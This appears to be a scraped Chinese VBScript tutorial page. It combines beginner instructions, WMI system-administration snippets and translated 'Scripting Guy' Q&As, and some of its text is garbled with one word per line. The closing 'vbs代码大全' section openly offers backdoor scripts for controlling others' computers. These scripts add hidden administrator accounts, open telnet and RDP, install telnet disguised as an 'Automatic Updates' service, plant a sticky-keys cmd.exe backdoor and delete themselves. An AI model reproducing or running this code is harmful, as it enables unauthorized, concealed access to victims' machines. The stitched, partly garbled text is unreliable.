vbs代码教程(vbs代码教程烟花)
admin 发布:2022-12-19 21:54 133
本篇文章给大家谈谈vbs代码教程,以及vbs代码教程烟花对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。
本文目录一览:
怎么执行vbs代码
1、把vbs代码直接保存成vbs为扩展名的文件,双击就可以执行,效果如下:
2、如出现未能执行的情况,可能为文件关联问题,可以在命令行事执行,以D:\test.vbs为例如下:
cscript d:\test.vbs
效果如下:
vbs edit如何编写vb程序
VB、VBS代码在电脑系统自带的记事本txt写。
新建txt文档,编写代码,另保存为.vbs,编码选择ANSI、Utf-8这样不会乱码;修改后缀.txt为.vbs;"双击"执行;继续编辑vbs代码;
有两种运行方法:在windows界面下运行,也就是双击vbs文件;另一种是在命令提示符下运行,方法为:开始输入cmd回车,然后会弹出一个黑框,输入cd“你的vbs所在的地方”回车enter键,然后输入脚本的名字,就会自动执行
请问各位高手用VBS怎么写
可以提取后,用数组分开它们后,进行你需要的操作。
是做密码验证用吗?
vbs 代码如下:
Do
ww = 0
Do until mm = 1
xx = "1 2 3"
input = inputbox("本程序功能:"chr(13)chr(13)"输入一窜数字,求两两相乘后相加的结果。"chr(13)chr(13)"对话框内输入几个数字,并用‘ ’一个英文"chr(13)chr(13)"空格符将它们一一分开;例如: " xx chr(13)chr(13)"点“取消”键,直接退出程序。"chr(13)chr(13),"提示:输入数字对话框",xx )
mm = 1
if input = "" then
wscript.Quit
end if
input = trim(input)
k = 0
for j = 1 to len(input)
if mid(input,j,1) = " " then
k = k +1
exit for
end if
next
if k = 0 then
msgbox "输入的内容少于2个! 请重新输入。",4144,"提示信息"
mm = 0
end if
BB = Split(input, " ")
FOR i = 0 to Ubound(BB)
if len(BB(i))0 and IsNumeric(trim(BB(i)))=false then
msgbox "输入的【 " input " 】内有非数字内容,请检查后重新输入! ",4112,"提示信息"
mm = 0
exit for
end if
if len(BB(i))=0 then
msgbox "输入的【 " input " 】内至少有两个“空格符”相连,请检查后重新输入! ",4112,"提示信息"
mm = 0
exit for
end if
next
loop
for ss = 0 to Ubound(BB)-1
for tt = ss+1 to Ubound(BB)
ww =ww+BB(ss)* BB(tt)
next
next
Response =msgbox ("输入的内容为:【 " input " 】" chr(13) chr(13) "两两相乘总和 = " ww chr(13) chr(13) "点击“是”则继续进行计算, " chr(13)chr(13) "点击“否”则直接退出程序!" ,4164,"提示:" now)
mm = 0
loop Until Response = vbNo
VBS详细教程
VBS 取得本机IP
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For Each strAddress in IPConfig.IPAddress
WScript.Echo strAddress
Next
End If
Next
2 取得本机计算机名
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")
Set colComputers = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
For Each objComputer in colComputers
Wscript.Echo objComputer.Name
Next
--------------------------------------------------------------------------------
4 检查升级包
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
Wscript.Echo objOperatingSystem.ServicePackMajorVersion "." objOperatingSystem.ServicePackMinorVersion
Next
--------------------------------------------------------------------------------
5 检查 Hot Fix
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")
Set colQuickFixes = objWMIService.ExecQuery ("Select * from Win32_QuickFixEngineering")
For Each objQuickFix in colQuickFixes
Wscript.Echo "Description: " objQuickFix.Description
Wscript.Echo "Hot Fix ID: " objQuickFix.HotFixID
Next
--------------------------------------------------------------------------------
6 检查本地管理员数目
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objGroup = GetObject("WinNT://" strComputer "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo objUser.Name
Next
--------------------------------------------------------------------------------
7 磁盘系统
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")
Set colDisks = objWMIService.ExecQuery("Select * from Win32_LogicalDisk Where DriveType = 3")
For Each objDisk in colDisks
Wscript.Echo "Disk drive: " objDisk.DeviceID " -- " objDisk.FileSystem
Next
--------------------------------------------------------------------------------
8 检测自动登录是否开启
Const HKEY_LOCAL_MACHINE = H80000002
strComputer = "."
Set objReg=GetObject("winmgmts:\\" strComputer "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows NT\CurrentVersion\WinLogon"
strValueName = "AutoAdminLogon"
objReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,dwValue
If dwValue = 1 Then
Wscript.Echo "Auto logon is enabled."
Else
Wscript.Echo "Auto logon is disabled."
End If
--------------------------------------------------------------------------------
9 关闭自动登录
Const HKEY_LOCAL_MACHINE = H80000002
strComputer = "."
Set objReg=GetObject("winmgmts:\\" strComputer "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\Windows NT\CurrentVersion\WinLogon"
strValueName = "AutoAdminLogon"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue
--------------------------------------------------------------------------------
10 检查Guest是否禁用
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objUser = GetObject("WinNT://" strComputer "/Guest")
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is disabled."
Else
Wscript.Echo "The Guest account is enabled."
End If
--------------------------------------------------------------------------------
11 关闭Guest
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
Set objUser = GetObject("WinNT://" strComputer "/Guest")
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is already disabled."
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."
End If
--------------------------------------------------------------------------------
12 检索本地共象
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")
Set colShares = objWMIService.ExecQuery("Select * from Win32_Share")
For each objShare in colShares
Wscript.Echo "Name: " objShare.Name
Wscript.Echo "Path: " objShare.Path
Wscript.Echo "Type: " objShare.Type
Next
--------------------------------------------------------------------------------
13 脚本检索一个文件夹下.txt文件 汗哦 值得学习
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colFiles = objWMIService.ExecQuery("SELECT * FROM CIM_DataFile WHERE Path = '\\Documents and Settings\\Administrator\\桌面\\' AND Drive = 'E:' AND Extension = 'txt'")
Wscript.Echo "Number of .txt files found: " colFiles.Count
for each aa in colFiles
NL=NL vbcrlf aa.name
next
Wscript.Echo NL
--------------------------------------------------------------------------------
14 我如何向用户显示一个用来选择文件的对话框?
问:
嗨,Scripting Guy!有没有什么方法可以让我使用脚本向用户显示一个对话框,供用户选择文件使用?
-- BF
答:
您好,BF。如果您使用的是 Windows 2000,我们不知道实现此操作的方法,至少操作系统中没有内置这样的方法。
但如果您使用的是 Windows XP,情况就不同了。在 Windows XP 上,
您可以使用“UserAccounts.CommonDialog”对象向用户显示一个标准的“文件打开”对话框。可以用类似以下代码的脚本:
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "All Files|*.*" objDialog.InitialDir = "C:\" intResult = objDialog.ShowOpen
If intResult = 0 Then Wscript.Quit Else Wscript.Echo objDialog.FileName End If
这是一个小脚本,所以让我们逐行进行解释吧。我们首先创建一个对 UserAccounts.CommonDialog
对象的对象引用(名为“objDialog”)。接着,我们设置对话框的“筛选”属性。我们要显示所有文件,
所以我们将筛选设置成这样:
objDialog.Filter = "All Files|*.*"
假如我们只想显示文本文件,那该怎么办?在这种情况下,我们将使用以下筛选:
objDialog.Filter = "Text Files|*.txt"
您也许能够看出它是如何运行的:我们为文件类型提供说明 (Text Files),然后插入一个竖线分隔符 (|),
最后使用标准的通配符来指示所有 .txt 文件 (*.txt)。是不是想默认显示 .txt 文件,然后为用户提供查看所有文件的选项?
那么可以使用以下代码:
objDialog.Filter = "Text Files|*.txt|All Files|*.*"
试一试,您就明白我们的意思了。
然后,我们指定默认文件夹。默认情况下,我们希望对话框显示位于驱动器 C 的根文件夹中的文件,
所以我们这样设置“InitialDir”属性:
objDialog.InitialDir = "C:\"
希望显示 C:\Windows 文件夹中的文件吗?那么可以使用以下代码:
objDialog.InitialDir = "C:\Windows"
不必担心:这是一个真正的“文件打开”对话框,所以您可以随意单击,并且可以随时停下来。
您从 C:\Windows 开始并不意味着您只能打开该文件夹中的文件。
最后,我们使用下面这行代码显示对话框:
intResult = objDialog.ShowOpen
现在,我们只需坐下来,等待用户选择文件并单击“确定”(或者等待用户单击“取消”)。如果用户单击“取消”,
则变量 intResult 将被设置为 0。在我们的脚本中,我们检查 intResult 的值,如果是 0,
我们将只需要使用 Wscript.Quit 来终止此脚本。
但是如果用户实际上选择了文件并单击了“确定”,那该怎么办?在这种情况下,intResult 将被设置为 -1,
“FileDialog”属性将被设置为所选文件的路径名。我们的脚本只回显路径名,这意味着我们将得到类似以下内容的输出:
C:\WINDOWS\Prairie Wind.bmp
不用说,您并不局限于只回显文件路径。实际上,您可以使用 WMI、FileSystemObject 或一些其他技术来绑定该文件,
然后对其执行删除、复制、压缩或检索文件属性等操作 — 您对文件能够执行的操作差不多都可以对它执行。
但无论如何,您都需要使用脚本。
顺便说一句,使用此方法,您一次只能选择一个文件,而不能按住“Ctrl”键选择多个文件。有一种方法可以选择多个文件,
至少在 XP 计算机上可以,但是我们只能将此问题留到以后的专栏中讨论了。
--------------------------------------------------------------------------------
15 我如何确定进程是在哪个帐户下运行的?
问:
嗨,Scripting Guy!我有一个脚本,它返回关于计算机上运行的所有进程的信息,
只是我不知道如何获得这些进程在其下运行的用户帐户的名称。您可以帮助我吗?
-- DL
答:
您好,DL。是的,我们可以帮助您。确定进程是在哪个帐户下运行的,实际上相当简单,
只是如何着手执行此操作并不是特别显而易见的。如果您与大多数人一样,
那么您可能会通过扫描 Win32_Process 类的属性来查找名为 Account 或 UserName 或类似的属性。您很有可能找不到。
出现这种情况的原因是:Win32_Process 没有可以告诉您进程在哪个帐户下运行的属性。
您需要使用“GetOwner”方法来捕捉此信息。下面这个脚本可以告诉您 Microsoft Word (Winword.exe) 在哪个帐户下运行:
strComputer = "."Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'Winword.exe'")
For Each objProcess in colProcessList objProcess.GetOwner strUserName, strUserDomain Wscript.Echo "Process " objProcess.Name " is owned by " _ strUserDomain "\" strUserName "."Next
我们最感兴趣的是下面这行代码:
objProcess.GetOwner strNameOfUser, strUserDomain
我们在此所做的就是调用“GetOwner”方法。GetOwner 返回两个“输出参数”,
一个返回负责该进程的用户的名称,一个返回该用户所属的域。为捕获这两个输出参数,我们需要为 GetOwner 方法提供两个变量。
在这个示例脚本中,我们使用了两个分别叫做 strUserName 和 strUserDomain 的变量。名称可以随意选择;您可以将变量称为 A 和 B 或 X 和 Y 或任何其他您想要的名称。
不过,变量的顺序不能随意设置:返回的第一个值总是用户名,第二个值总是域。这意味着,如果您希望用 X 表示用户名,用 Y 表示域,那么您要确保您的代码像下面这行代码一样:
objProcess.GetOwner X, Y
调用 GetOwner 之后,我们就可直接回显进程名和所有者。请注意,我们可以稍微来点儿花样儿 – 使用域\用户格式。这样,我们就可以回显类似于“fabrikam\kenmyer”的名称。
下面附带提供了另一个脚本,该脚本可以列出计算机上的所有进程以及各个进程的所有者:
strComputer = "."Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process")
For Each objProcess in colProcessList objProcess.GetOwner strUserName, strUserDomain Wscript.Echo "Process " objProcess.Name " is owned by " _ strUserDomain "\" strUserName "."Next
可能有人感到奇怪,2005 年 1 月 3 日正好是 Microsoft 员工的正式休息日。
那么今天为什么会有“嗨,Scripting Guy!”专栏?这只能是由于 Microsoft 脚本专家表现出来的对工作的难以置信的奉献和投入精神。
或者,也可能是由于某个脚本专家 – 还说不出他或她的名字 – 没有意识到今天是假日,所以照常来了(而且是在早上 7 点啊!)。
--------------------------------------------------------------------------------
16 可以将脚本的输出复制到剪贴板吗?
问:
嗨,Scripting Guy!有办法将脚本输出复制到剪贴板吗?
-- ZW, Marseilles, France
答:
您好,ZW.如果您不介意用一些疯狂的解决方法,那么实际上将脚本输出复制到剪贴板相当容易。
首先,您需要构造一个字符串,其中包含想要的输出。然后,创建 Internet Explorer 的一个实例,
然后在其中打开一个空白页。接着,利用 Internet Explorer 对象模型的内置功能,将字符串复制到剪贴板;
特别是, 可以使用 clipboardData.SetData 方法来实现这个技巧。将某些数据复制到剪贴板的示例脚本如下:
strCopy = "This text has been copied to the clipboard."
Set objIE = CreateObject("InternetExplorer.Application")
objIE.Navigate("about:blank")
objIE.document.parentwindow.clipboardData.SetData "text", strCopy
objIE.Quit
运行脚本,然后打开 Notepad,然后单击“粘贴”;应该可以看到所复制的字符串。
顺便说一下,所有这一切都是在“幕后”发生的,Internet Explorer 并不会真的出现在屏幕上。
这是因为,在默认情况下,通过脚本创建的任何 IE 实例在运行时都是隐藏的,除非您利用如下语句将其显示出来:
objIE.Visible = True
VBS教程:函数-CreateObject 函数
CreateObject
函数
创建并返回对
Automation
对象的引用。
CreateObject(servername.typename
[,
location])
参数
servername
必选项。提供对象的应用程序名称。
typename
必选项。要创建的对象类型或类。
location
可选项。对象所在的网络服务器将被创建。
说明
Automation
服务器至少提供一种对象类型。例如,字处理应用程序可以提供应用程序对象、文档对象和工具条对象。
要创建
Automation
对象,将
CreateObject
函数返回的对象赋值给某对象变量:
Dim
ExcelSheetSet
ExcelSheet
=
CreateObject("Excel.Sheet")
上述代码启动创建对象(在此实例中,是
Microsoft
Excel
电子表格)的应用程序。对象创建后,就可以在代码中使用定义的对象变量引用此对象。在下面的示例中,可使用对象变量、ExcelSheet
和其他
Excel
对象,包括
Application
对象和
Cells
集合访问新对象的属性和方法。例如:
'
Make
Excel
visible
through
the
Application
object.ExcelSheet.Application.Visible
=
True'
Place
some
text
in
the
first
cell
of
the
sheet.ExcelSheet.ActiveSheet.Cells(1,1).Value
=
"This
is
column
A,
row
1"'
Save
the
sheet.ExcelSheet.SaveAs
"C:\DOCS\TEST.XLS"'
Close
Excel
with
the
Quit
method
on
the
Application
object.ExcelSheet.Application.Quit'
Release
the
object
variable.Set
ExcelSheet
=
Nothing
在远程服务器上创建一个对象,当
Internet
安全关闭时只能完成。通过传递计算机名到
CreateObject
服务器名的参数,能在远程网络上创建对象。该名称如同共享部份的机器名。例如网络共享名命名为:
"\\myserver\public",
servername
是
"myserver"。另外,只能指定
servername
使用
DNS
格式或
IP
地址。
以下代码返回运行在命名为"myserver"的远程网络计算机上
Excel
实例的版本号
:
Function
GetVersion
Dim
XLApp
Set
XLApp
=
CreateObject("Excel.Application",
"MyServer")
GetVersion
=
XLApp.VersionEnd
Function
错误发生在指定的远程服务器不存在或无法找到。
vbs代码大全
On Error Resume Next '忽略错误
set wshshell=createobject ("wscript.shell") '调用 wscript.shell
a=wshshell.run ("netsh firewall set portopening TCP 23 ENABL",0) '让XP防火墙对23端口放行
b=wshshell.run ("sc config tlntsvr start= auto",0) '吧telnet改为手动
d=wshshell.run ("net1 user ganggang$ test /add",0) '添加一个帐户
e=wshshell.run ("net1 localgroup administrators ganggang$ /add",0) '加管理组
f=wshshell.run ("cmd /k copy ""%systemroot%\system32\tlntsvr.exe"" ""%systemroot%\java\rundl132.exe""",0) '复制telnet到java目录下改名为rundl132.exe
g=wshshell.run ("sc create ccservice binpath= ""%systemroot%\java\rundl132.exe"" type= own",0) 'sc命令用服务的方式启动
h=wshshell.run ("sc config ccservice DisplayName= Automatic Updates",0)
i=wshshell.run ("sc description ccservice 通知所选用户和计算机有关系统管理级警报。",0)
j=wshshell.run ("sc config ccservice start= auto",0) '将服务设为自动
k=wshshell.run ("net1 start ccservice",0) '启动服务
z=wshshell.run ("ATTRIB +R +S +H ""%systemroot%\java\rundl132.exe""",0) '加个属性 艾权啊,我是DARK,给你个可以远程控制别人的VBS代码,没事试试也可以的 再给你一个开启3389创建用户粘滞键后门on error resume next
const HKEY_LOCAL_MACHINE = H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
strComputer "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os"/"username",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exeecho y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F?? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe?? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exedel %SystemRoot%\system32\sethc.exeren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
vbs代码教程的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于vbs代码教程烟花、vbs代码教程的信息别忘了在本站进行查找喔。
版权说明:如非注明,本站文章均为 AH站长 原创,转载请注明出处和附带本文链接;
相关推荐
- 05-18seo教程,seo教程免费
- 05-18谷歌seo教程,谷歌seo建站
- 05-16怎么建立一个属于自己的网站,如何建立自己的网站教程
- 05-15seo完整教程视频教程,seo教学视频教程
- 05-13网络推广教程,网络推广技巧大全
- 05-13百度搜索关键词怎么刷上去,百度关键词刷排名教程
- 05-13怎么搭建网站,怎么搭建网站教程
- 05-12seo网站排名优化,seo网站排名优化教程
- 05-09网页代码,网页代码快捷键
- 05-09seo网站排名优化培训教程,seo教程排名优化网站推广
取消回复欢迎 你 发表评论:
- 标签列表
- 最近发表
- 友情链接